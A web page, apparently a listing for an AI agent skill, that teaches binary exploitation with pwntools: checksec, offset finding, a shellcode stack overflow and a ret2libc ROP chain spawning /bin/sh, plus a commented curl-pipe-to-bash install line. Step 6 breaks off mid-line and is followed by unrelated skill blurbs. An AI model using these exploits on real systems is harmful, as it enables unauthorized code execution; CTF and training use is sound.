performing-binary-exploitation-analysis
Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library. Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments.
What this skill does
# Performing Binary Exploitation Analysis
**For authorized security testing and CTF challenges only.**
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
and pwntools for buffer overflow and ROP chain development.
## When to Use
- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
- Solving binary exploitation challenges in CTF competitions
- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
- Training security engineers in exploit development techniques for defensive awareness
- Validating that security patches for buffer overflow vulnerabilities are effective
**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
## Prerequisites
- Linux system (Ubuntu/Debian recommended) for exploit development
- Python 3.8+ with `pwntools` (`pip install pwntools`)
- GDB with `pwndbg` or `GEF` plugin for enhanced debugging
- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)
- `checksec` (included with pwntools or standalone via `apt install checksec`)
- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
- Basic understanding of x86/x86_64 calling conventions and stack layout
## Workflow
### Step 1: Install the Exploitation Toolkit
```bash
# Install pwntools and dependencies
pip install pwntools ROPgadget
# Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Alternatively, install GEF (GDB Enhanced Features)
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
# Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
```
### Step 2: Analyze Binary Protections with checksec
Before writing any exploit, enumerate the security mitigations compiled into the binary:
```python
from pwn import *
# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
# checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
# Key security properties
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
# Stack Canary: Detects stack buffer overflows via random canary value
# NX (No-eXecute): Prevents executing code on the stack (DEP)
# PIE: Position Independent Executable, randomizes base address
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
# Also available via command line:
# checksec --file=./vulnerable_server
```
```bash
# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO STACK CANARY NX PIE
# Partial RELRO No canary found NX disabled No PIE
# Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization
```
### Step 3: Find the Buffer Overflow Offset
Determine exactly how many bytes are needed to overwrite the return address:
```python
from pwn import *
context.binary = ELF("./vulnerable_server")
context.log_level = "info"
# Method 1: Use cyclic pattern to find exact offset
# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
# After the crash, read the value in RIP/EIP from core dump or GDB
# Then find the offset:
# For 64-bit: crashed_value = p.corefile.fault_addr
# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
# Method 2: Use GDB with pwndbg to find offset interactively
# In GDB:
# pwndbg> cyclic 200
# pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
# pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
```
### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)
When NX is disabled, inject and execute shellcode directly on the stack:
```python
from pwn import *
# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64" # or "i386" for 32-bit
OFFSET = 72 # Determined in Step 3
# Generate shellcode
# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
# Build the exploit payload
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32
# For a local exploit without ASLR, we can estimate the buffer address
# Run in GDB first to find the buffer address:
# break *main+XX (after read/gets call)
# x/20x $rsp
buffer_addr = 0x7fffffffe000 # Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive() # Interact with the spawned shell
```
### Step 5: Build a ROP Chain (NX Enabled)
When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):
```bash
# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server
# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"
# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"
# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
```
```python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
# Method 1: ret2libc - call system("/bin/sh") via libc
# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start process to leak libc address
p = process(binary_path)
# If there is a format string or info leak, use it to find libc base
# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
# Find a "pop rdi; ret" gadget for x86_64 calling convention
# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment
# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
rop_chain = flat(
b"A" * OFFSET, # Padding to reach return address
ret_gadget, # Stack alignment (needed for movaps in system)
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
bin_sh_addr, # Address of "/bin/sh" string in libc
system_addr, # Call system()
)
p.sendline(rop_chain)
p.interactive()
```
### Step 6: Use pwntools ROP Helper for Automated Chain Building
```python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
# pwntools automatic ROP chain builder
rop = ROP(elf)
# If the binary has enough gadgets, pwntools can build chainsRelated in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.